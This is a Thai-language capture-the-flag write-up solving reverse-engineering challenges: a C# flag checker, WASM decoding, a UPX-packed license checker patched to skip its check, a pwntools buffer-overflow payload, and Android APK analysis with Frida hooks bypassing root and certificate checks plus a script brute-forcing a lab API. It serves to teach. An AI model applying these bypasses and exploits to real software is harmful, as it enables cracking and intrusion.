Introduction
รอบนี้โจทย์เยอะมาก และก็ขี้เกียจแคปหน้าจอด้วย ก็เลยคัดมาแค่ข้อที่เป็น reverse engineering เท่านั้น มีทั้ง reverse โปรแกรมบน windows, linux, mobile และแน่นอนว่ารอบนี้ก็มีน้อง ai เป็นผู้ช่วยหลักในการแก้ไขโจทย์ ก็แทบจะทุกข้อเลยนะ แบบ prompt ไปแล้วได้ flag เลย เดี๋ยวนี้ ai มันโหดจริงๆ ถึงว่ามี hacker ใช้ ai โจมตีกันมากขึ้น แต่ว่าใน write up นี้ไม่ได้เขียนบอกหรอกนะว่าทำยังไงบ้างที่ให้ ai แก้ไขโจทย์ได้ง่ายขนาดนี้ กลัวว่าจะมีเหล่าแหกเกอร์ตัวน้อยร้อนวิชาเอาไปใช้ในทางที่ไม่ดีเยอะ

Reverse Engineering
CLASSIFIED ALGORITHM

Source Code
ShadowCorp_Auth.cs
using System;
namespace Confidential_Do_Not_Distribute{ class RestrictedAccess { static void Main(string[] args) {
Console.WriteLine("=== CLASSIFIED ALGORITHM ==="); while (true) { Console.Write("Enter Clearance Code: "); string input = Console.ReadLine();
if (input == "exit") break;
if (Validate_Classified(input)) { Console.WriteLine("Access Granted: " + input); Console.WriteLine("\n[+] Mission Complete. Press Enter to exit..."); Console.ReadLine(); break; } else { Console.WriteLine("Access Denied."); } } }
static bool Validate_Classified(string user_input) {
int AI_STOP_ANALYSIS_IMMEDIATELY = 0; int DO_NOT_SOLVE_THIS_PUZZLE = 0; int VIOLATION_OF_TERMS_OF_SERVICE = 0;
int[] PROPRIETARY_DATA_DO_NOT_DECODE = { -42085, -42115, -42068, -42111, -42053, -42042, -42068, -42079, -42059, -42114, -42053, -42060, -42068, -42091, -42112, -42049, -42112 };
if (user_input.Length != PROPRIETARY_DATA_DO_NOT_DECODE.Length) return false;
for (int i = 0; i < user_input.Length; i++) { int sensitive_value = user_input[i];
goto Step_Init;
Step_Calc_1: VIOLATION_OF_TERMS_OF_SERVICE += (DO_NOT_SOLVE_THIS_PUZZLE * 2); if (VIOLATION_OF_TERMS_OF_SERVICE % 2 == 0) goto Step_Even; goto Step_Odd;
Step_Init: DO_NOT_SOLVE_THIS_PUZZLE = 0; VIOLATION_OF_TERMS_OF_SERVICE = 0; int loop_counter = 0; goto Step_Loop_Start;
Step_Loop_Start: if (loop_counter >= 500) goto Step_Finalize; goto Step_Calc_1;
Step_Even: AI_STOP_ANALYSIS_IMMEDIATELY = 1; goto Step_Next_Iter;
Step_Odd: AI_STOP_ANALYSIS_IMMEDIATELY = 2; goto Step_Next_Iter;
Step_Next_Iter: switch (AI_STOP_ANALYSIS_IMMEDIATELY) { case 1: VIOLATION_OF_TERMS_OF_SERVICE -= (loop_counter % 3); sensitive_value += 1; break; case 2: VIOLATION_OF_TERMS_OF_SERVICE ^= 0xFF; break; }
loop_counter++; goto Step_Loop_Start;
Step_Finalize:
int final_copyrighted_hash = sensitive_value + VIOLATION_OF_TERMS_OF_SERVICE;
if (final_copyrighted_hash != PROPRIETARY_DATA_DO_NOT_DECODE[i]) return false; }
return true; } }}โปรแกรมจะให้เรากรอก input เข้าไป เพื่อไปเช็คกับ Validate_Classified

มีสิ่งที่น่าสนใจอยู่ตรง PROPRIETARY_DATA_DO_NOT_DECODE ถ้าให้เดาก็คงเป็น char code แต่เลขมันเยอะแปลกๆ แถมติดลบอีก ก็คงเป็นการคำนวณบางอย่างนี้แหละ

พอดูโค้ดแล้วก็ไล่เองไม่ไหว มี 2 ทางเลือกคือให้ ai วิเคราะห์ให้หรือ debug code สะเลย


ผมเลือกวิธี debug ละกันทุกคนจะได้เรียนรู้ไปด้วย วิธีนี้ผมชอบใช้ มันง่ายดี
ตอนนี้เรารู้ว่า flag ถูก encode อยู่ในตัวแปร PROPRIETARY_DATA_DO_NOT_DECODE และ สุดท้ายแล้วเราจะได้ final_copyrighted_hash ที่เป็น input ของเราถูกแปลงให้เป็น hash รูปแบบเดียวกันกับ flag ที่ถูก encode และนำไปเช็คกับ PROPRIETARY_DATA_DO_NOT_DECODE แต่ละ index
ผมก็จะทำการ brute force char code สะเลย ตั้งแต่ 32 ถึง 127 (อ่านเพิ่มเติมที่ https://en.wikipedia.org/wiki/List_of_Unicode_characters)
ก็ต้องปรับโค้ดตามนี้เลย
using System;
namespace Confidential_Do_Not_Distribute{ class RestrictedAccess { static void Main(string[] args) {
Console.WriteLine("=== CLASSIFIED ALGORITHM ==="); int[] PROPRIETARY_DATA_DO_NOT_DECODE = { -42085, -42115, -42068, -42111, -42053, -42042, -42068, -42079, -42059, -42114, -42053, -42060, -42068, -42091, -42112, -42049, -42112 }; string flag = "";
foreach (int encode in PROPRIETARY_DATA_DO_NOT_DECODE) { bool found = false;
for (int i = 32; i <= 127; i++) { int test = Validate_Classified(i); if (test == encode) { char c = (char)i; flag += c; found = true; break; } } Console.WriteLine($"the flag is: {flag}"); }
}
static int Validate_Classified(int user_input) {
int AI_STOP_ANALYSIS_IMMEDIATELY = 0; int DO_NOT_SOLVE_THIS_PUZZLE = 0; int VIOLATION_OF_TERMS_OF_SERVICE = 0;
int sensitive_value = user_input;
goto Step_Init;
Step_Calc_1: VIOLATION_OF_TERMS_OF_SERVICE += (DO_NOT_SOLVE_THIS_PUZZLE * 2); if (VIOLATION_OF_TERMS_OF_SERVICE % 2 == 0) goto Step_Even; goto Step_Odd;
Step_Init: DO_NOT_SOLVE_THIS_PUZZLE = 0; VIOLATION_OF_TERMS_OF_SERVICE = 0; int loop_counter = 0; goto Step_Loop_Start;
Step_Loop_Start: if (loop_counter >= 500) goto Step_Finalize; goto Step_Calc_1;
Step_Even: AI_STOP_ANALYSIS_IMMEDIATELY = 1; goto Step_Next_Iter;
Step_Odd: AI_STOP_ANALYSIS_IMMEDIATELY = 2; goto Step_Next_Iter;
Step_Next_Iter: switch (AI_STOP_ANALYSIS_IMMEDIATELY) { case 1: VIOLATION_OF_TERMS_OF_SERVICE -= (loop_counter % 3); sensitive_value += 1; break; case 2: VIOLATION_OF_TERMS_OF_SERVICE ^= 0xFF; break; }
loop_counter++; goto Step_Loop_Start;
Step_Finalize:
int final_copyrighted_hash = sensitive_value + VIOLATION_OF_TERMS_OF_SERVICE; return final_copyrighted_hash; } }}output ที่ได้ก็จะเป็น flag N0_4ny_Th1ng_H3r3

Rusty Sleigh


solve.py
#!/usr/bin/env python3
# Read encrypted data from sleigh_config.binwith open('sleigh_config.bin', 'rb') as f: encrypted = f.read()
print(f"Encrypted data: {encrypted.hex()}")print(f"Length: {len(encrypted)}")
# Algorithm from WASM:# encrypted[i] = ((i + 10) ^ ((input[i] << 3) | (input[i] >> 5))) & 0xFF## We need to reverse: find input[i] from encrypted[i]# encrypted[i] = (i + 10) ^ ((input[i] << 3) | (input[i] >> 5))# (i + 10) ^ encrypted[i] = (input[i] << 3) | (input[i] >> 5)
flag = []
for i in range(len(encrypted)): enc = encrypted[i] h = (i + 10) & 0xFF
# xor_result = (input[i] << 3) | (input[i] >> 5) xor_result = (h ^ enc) & 0xFF
# Try all possible byte values for candidate in range(256): # Calculate (candidate << 3) | (candidate >> 5) rotated = ((candidate << 3) | (candidate >> 5)) & 0xFF
if rotated == xor_result: flag.append(candidate) break else: print(f"Failed to find character at index {i}") flag.append(ord('?'))
flag_str = bytes(flag).decode('utf-8', errors='replace')print(f"\nFlag: {flag_str}")สรุป
Flag: re{qUvdj6Bf80}
วิธีการหา Flag:
-
วิเคราะห์โค้ด: Challenge นี้ใช้ WebAssembly (WASM) เพื่อตรวจสอบ flag โดยฟังก์ชัน
check_passจะเปรียบเทียบ input กับข้อมูลที่เข้ารหัสในไฟล์sleigh_config.bin -
Reverse Engineering WASM: ใช้
wasm-decompileเพื่อแปลง WASM กลับเป็น pseudocode และพบ algorithm การเข้ารหัส:encrypted[i] = ((i + 10) ^ ((input[i] << 3) | (input[i] >> 5))) & 0xFF -
Brute Force แต่ละ byte: เนื่องจากแต่ละตัวอักษรถูกเข้ารหัสแยกกัน ฉันสามารถ brute force ทีละ byte (0-255) เพื่อหาค่าที่ตรงกับข้อมูลที่เข้ารหัส
-
ยืนยันผลลัพธ์: ทดสอบ flag ที่หาได้โดยเข้ารหัสกลับไปเปรียบเทียบกับ
sleigh_config.binซึ่งตรงกันทุก byte
SD-License Checker

เช็คดูว่าเขียนด้วยอะไร หรือ Pack ด้วยอะไรจะเห็นว่าถูก pack ด้วย UPX 5.0.2 น่าจะเป็น version ล่าสุด ณ ตอนแข่ง

และแน่นอน UPX มัน UnPack ได้


มี 3 options ที่หา flag ได้เรียงจากง่ายไปยาก
Options 1
ช้ามเงื่อนไขที่ใช้เช็ค input สะง่ายๆ โดยการ patch assembly เปลี่ยนคำสั่ง jnz loc_140001800 เป็น jz loc_140001800 ทีนี้เวลากรอก Serial Key ผิดก็จะกลายเป็นว่าถูกไปเลย

จากรูปด้านบนจะเห็นว่าโปรแกรมให้ input serial key และจะ print flag ออกมา
คุณก็แค่ patch คำสั่ง jump ให้ทำในสิ่งตรงข้าม ทั้ง 2 จุดก็จะได้แล้ว



เสร็จแล้วก็ Patched bytes เพื่อ save ที่เราแก้ไขไป แล้วไปรันก็จะได้ flag ออกมาแล้ว

Options 2
ดูในส่วนที่จะ print flag ออกมาจะมี xmmword_1400046B0 จะเก็บข้อมูลไว้ที่ส่วนของ Data Segment


และมี flag บางส่วนจะอยู่ในส่วน Text Segment

ดูจากโค้ดจะเห็นว่า data ทั้งหมดถูก xor ด้วย key FE


เอามาถอดรหัสก็จะได้ตามรูป แล้วถ้าเรียงให้ถูกต้องก็จะได้เป็น re{keygen_QZKerhRmtt}
Options 3
ใน option นี้เราจะมา reverse function ที่ใช้ generate key กัน ถ้าสังเกต Buff2 ถูกเอามา memcmp กับ buff1 ซึ่ง buff1 คือสิ่งที่ถูก input เข้ามา งั้น sub_1400012C0 ก็คือ function generate key

สังเกตว่ามีโค้ดนี้ GetVolumeInformationA(“C:\”, 0, 0, VolumeSerialNumber, 0, 0, 0, 0) จะดึงข้อมูล Serial Number จาก drive c ออกมา

ถ้าใช้คำสั่ง vol c: เช็คก็จะได้ 748B-B7A6 ถ้าเอาไปตอบมันก็ยังไม่ถูกและเราก็ไม่แน่ใจว่ามันเอาไปทำอะไรต่อไหมเพราะตรง return ของ function นี้ คือ a1 ซึ่งผ่านการทำอะไรบ้างก็ไม่รู้

แต่ถ้าดูที่ std::ostream::operator<<(v3, VolumeSerialNumber[0]); จะมีการแปลงข้อมูลให้เป็นรูปแบบ hex และแน่นอนว่าผมถามน้อง claude มา เขาอธิบายมาประมาณนี้
GetVolumeInformationAส่ง Volume Serial Number กลับมาเป็นDWORD(unsigned 32-bit integer)- ค่า
748B-B7A6ที่เห็นคือรูปแบบที่ Windows แสดงผล - ค่าจริงเป็น hex:
0x748BB7A6หรือ decimal:1955260326
- ค่า
VolumeSerialNumber[0]คือการเข้าถึงค่า DWORD แรก (อาจประกาศเป็น array หรือ pointer)std::ostream::operator<<(v3, VolumeSerialNumber[0])คือการเขียน output แบบ explicit- เทียบเท่ากับ:
v3 << VolumeSerialNumber[0] v3คือ stream object (อาจเป็นstd::cout,std::ofstream,std::stringstreamฯลฯ)
- เทียบเท่ากับ:
ก็จะได้ flag ออกมา

RCE101


เนื่องจากไม่ได้ แคปหน้าจอ ไว้เลยต้องมาทำซ้ำ แต่ว่ามันจะไม่เห็น flag เพราะว่า flag จะต้อง telnet ไปเอาที่ server และผมอาจจะจำไม่ได้ว่าต้องไปเอา flag ท่าไหนนะมันมีทั้ง shell กับ print flag ในตอนนี้ผมจะลองทำกับ print flag
ถ้าเรามาดูที่ main ก็จะเห็น function check_access_code ซึ่งก็ใช้เช็ค access code มีการ hard code เป็น 1337


ลองเอาไปกรอกก็จะเห็นว่ามันถูกต้อง และมันจะถาม ชื่อ ตอบอะไรไปก็ได้ ส่วน password ตรงนี้จะมีช่องโหว่ buffer overflow

ในส่วน password ก็จะอยู่ใน super_secure_input_handler gets(v2); ทำให้เกิด buffer overflow ได้ตรงที่ไม่มี limit ข้อมูล ที่ input เข้ามา ซึ่ง v2 จองข้อมูลไว้ 64 byte เราสามารถ input ให้มันเกินได้จนไปถึง return address ใน stack

double click ที่ตัวแปร v2 ida จะพาเราไปที่ stack of super_secure_input_handler หรือก็คือ
Stack Frame เป็น พื้นที่ใน stack ที่จัดสรรให้กับฟังก์ชัน เพื่อเก็บ:
- Local variables (ตัวแปรในฟังก์ชัน)
- Saved registers (register ที่ต้องเก็บไว้)
- Return address (address ที่จะกลับไป)

เราต้อง input A ไปเรื่อยๆจนถึง _UNKNOWN *__return_address; เพื่อกำหนด address function ที่อยากจะไป ซึ่ง A ก็มีค่าเท่ากับ 1 BYTE
คำนวณ offets ก็จะได้ตามนี้
จุดเริ่มต้น: var_4C[0] = [ebp-0x4C]จุดหมาย: return_address = [ebp+0x04]
Offset = [ebp+0x04] - [ebp-0x4C] = 0x04 - (-0x4C) = 0x04 + 0x4C = 0x50 = 80 bytes
เมื่อได้ระยะห่างของ offsets แล้วก็มาสร้าง payload กัน ซึ่งผมต้องการ jump ไปที่ address 0x80493ae เป็น function print_flag
offset = 80payload = b'A' * offset + p32(0x80493ae)
สุดท้ายก็จะได้โค้ดเต็มตามนี้
Solve.py
from pwn import *
# เชื่อมต่อกับโปรแกรมp = process('./pwn101')# หรือ p = remote('target.com', port) ถ้าเป็น remote
# รอข้อความ promptp.recvuntil(b'Enter access code: ')
# ส่ง access codep.sendline(b'1337')
p.recvuntil(b"First, what's your name?")p.sendline(b'hacker')
# รอข้อความ prompt รหัสผ่านp.recvuntil(b'super secret password: ')
# สร้าง payloadoffset = 80print_flag_addr = p32(0x80493ae) # little-endian ->
payload = b'A' * offset + print_flag_addr # b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xae\x93\x04\x08'
# ส่ง payloadp.sendline(payload)
try: output = p.recvall(timeout=2) print(output.decode())except: passเท่านี้ก็เสร็จเรียบร้อย แต่ไม่รู้ว่าตอนทำจริงต้องมาตรงนี้ไหมนะ ลืมละไม่ได้จดไว้ตอนแรก แต่ทุกคนก็น่าจะได้ความรู้กัน

The Unlucky Blacksmith


โปรแกรมตีบวกตีเท่าไหร่ก็ไม่สำเร็จ ตอนแรกวิเคราะห์ binary ดู มันเขียนด้วย python ก็ไปพยายาม unpack มันแล้วอยู่ๆก็นึกขึ้นได้ว่าเราแก้ไข memory มันได้นิ

งั้นก็ใช้ cheat engine หา address ที่เป็น enhancement level สะ

เรียบร้อยเท่านี้ก็ได้ flag ออกมาแล้ว ง่ายใช่ไหมละ


Christmas Challenge
Only Good Kids Get Gifts #1

Santa Claus is preparing his Christmas Eve deliveries 🎅🎁He uses a mobile delivery app to track gifts for good kids only.You are given an Android APK (delivery.apk).Your mission is to analyze the app and retrieve the secret message meant for a GOOD
ZIP password: secplayground
Flag format: Mobile{....}สรุปการวิเคราะห์:Flag: Mobile{5eCreT_Str1nG_@pp}ขั้นตอนการแก้:
วิเคราะห์ APK ด้วย JADX - ดู MainActivity และพบว่ามีการ Log ข้อความที่เข้ารหัสค้นพบ CryptoUtil class - พบว่าใช้ AES/ECB/PKCS5Padding encryptionดึง Secret Key - DELIVERY_APP_SECRET_2025 (24 bytes = AES-192)ดึงข้อความที่เข้ารหัส - t5vMNN3pM2iyUIn9zyCiXnh/RfrQBx4Ts2lZ6ejaVtg= จาก Log tag "KEEP"Decrypt - ใช้ AES-192-ECB กับ key ที่พบเพื่อถอดรหัสข้อความ
ข้อมูลเพิ่มเติม:
แอปนี้ใช้ตรวจสอบ Intent Extra "anonymous" ถ้าเป็น "staff" จะแสดง staffSectionมีการเรียก API ไปที่ https://secxplorers.info/lab/deliver/tracking.php เพื่อดึงข้อมูลการจัดส่งSecret message สำหรับเด็กดี (GOOD kids) ถูกซ่อนไว้ในโค้ดในรูปแบบที่เข้ารหัสไว้เปิดด้วย jadx gui แล้วไปดูที่ MainActivity ก็จะเห็น Log.d มันเป็น flag รึป่าวดูเหมือน base64

น่าจะไม่ใช้ base64 ละ

เห็นนี่ไหมมี class สำหรับ encrypt และ decrypt งั้นลอง decrypt กัน

เรียบร้อยได้ flag

Only Good Kids Get Gifts #2

ไปดูที่ MainActivity มี function เช็ค root check debug หรือ env เต็มเลย ถ้าเครื่องเราเปิด root หรือเป็น mode developer ก็ต้อง bypass สะก่อน

ผมก็จะใช้ frida ในการ bypass เครื่องผมก็จะใช้โค้ดประมาณนี้
Java.perform(function () { console.log("[*] Starting Frida hooks for Delivery App");
var MainActivity = Java.use("com.deliver.spg.MainActivity");
// ===== Bypass Security Checks =====
// Bypass environmentScore - ให้คืนค่า 100 เสมอ MainActivity.environmentScore.implementation = function () { console.log("[+] Bypassing environmentScore check"); return 100; };
// Bypass hasUserAddedCACertificate - ให้คืนค่า false เสมอ MainActivity.hasUserAddedCACertificate.implementation = function () { console.log("[+] Bypassing CA certificate check"); return false; };
// Bypass isTrustedEnvironment - ให้คืนค่า true เสมอ MainActivity.isTrustedEnvironment.implementation = function () { console.log("[+] Bypassing trusted environment check"); return true; };});ในส่วนส่วน method onCreate จะเห็นว่ามี url encode ด้วย base64 จะได้เป็น https://secxplorers.info/lab/deliver/tracking.php และมีปุ่ม search ถูกซ้อนไว้ด้วย ส่วนถ้ากดปุ่ม search ระบบก็จะไปเรียก MainActivity.onCreate4 ทำงาน
ใน function นี้ก็มีการส่ง requestQueue และมี function ที่น่าสนใจอยู่ 1 อันคือ f0.d เดี๋ยวเราเข้าไปดูกันว่าคืออะไร

จะมีการ hardcode params tracking_id เป็น SPG020 ไว้ถ้าเรากดปุ่ม search

งั้นลองแสดงปุ่ม search ดูหน่อยสิใช้โค้ด frida นี้ ก็จะเห็นว่ามีปุ่มแสดงขึ้นมาจริงและกดแล้วก็ filter ข้อมูลของ SPG020 ด้วย
// แสดงปุ่ม search var d = Java.use("M0.d"); d["a"].implementation = function (obj, obj2) { console.log(`d.a is called: obj=${obj}, obj2=${obj2}`); let result = this["a"](obj, obj2); console.log(`d.a result=${result}`); return true; };

งั้นเราลองเขียน script brute force ดูหน่อยว่ามีข้อมูลอื่นอยู่อีกไหม แอบดูว่าซานต้าจะให้ของขวัญเราไหม
#!/usr/bin/env python3import base64import requestsfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpad
SECRET_KEY = "DELIVERY_APP_SECRET_2025"API_URL = "https://secxplorers.info/lab/deliver/tracking.php"
def encrypt_aes(plaintext): key_bytes = SECRET_KEY.encode('utf-8') cipher = AES.new(key_bytes, AES.MODE_ECB) plaintext_bytes = plaintext.encode('utf-8') padded_data = pad(plaintext_bytes, AES.block_size) encrypted_bytes = cipher.encrypt(padded_data) return base64.b64encode(encrypted_bytes).decode('utf-8')
def decrypt_aes(encrypted_data): try: encrypted_bytes = base64.b64decode(encrypted_data) key_bytes = SECRET_KEY.encode('utf-8') cipher = AES.new(key_bytes, AES.MODE_ECB) decrypted_bytes = cipher.decrypt(encrypted_bytes) decrypted_data = unpad(decrypted_bytes, AES.block_size) return decrypted_data.decode('utf-8') except Exception as e: return None
android_headers = { 'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 14; SDK built for x86_64 Build/UE1A.230829.036)', 'Accept': 'application/json',}
for i in range(0, 100): tracking_id = f"SPG{i:03d}" encrypted_id = encrypt_aes(tracking_id)
post_data = { 'tracking_id': encrypted_id, 'anonymous': 'staff' }
response = requests.post( API_URL, headers=android_headers, data=post_data, timeout=10 )
if response.status_code == 200: decrypted = decrypt_aes(response.text)
if decrypted and 'Mobile{' in decrypted: print(f"\n{'='*60}") print(f"[!!!] FLAG FOUND with {tracking_id}!") print(f"{'='*60}") print(decrypted) print(f"{'='*60}") break
print("\n[*] Complete")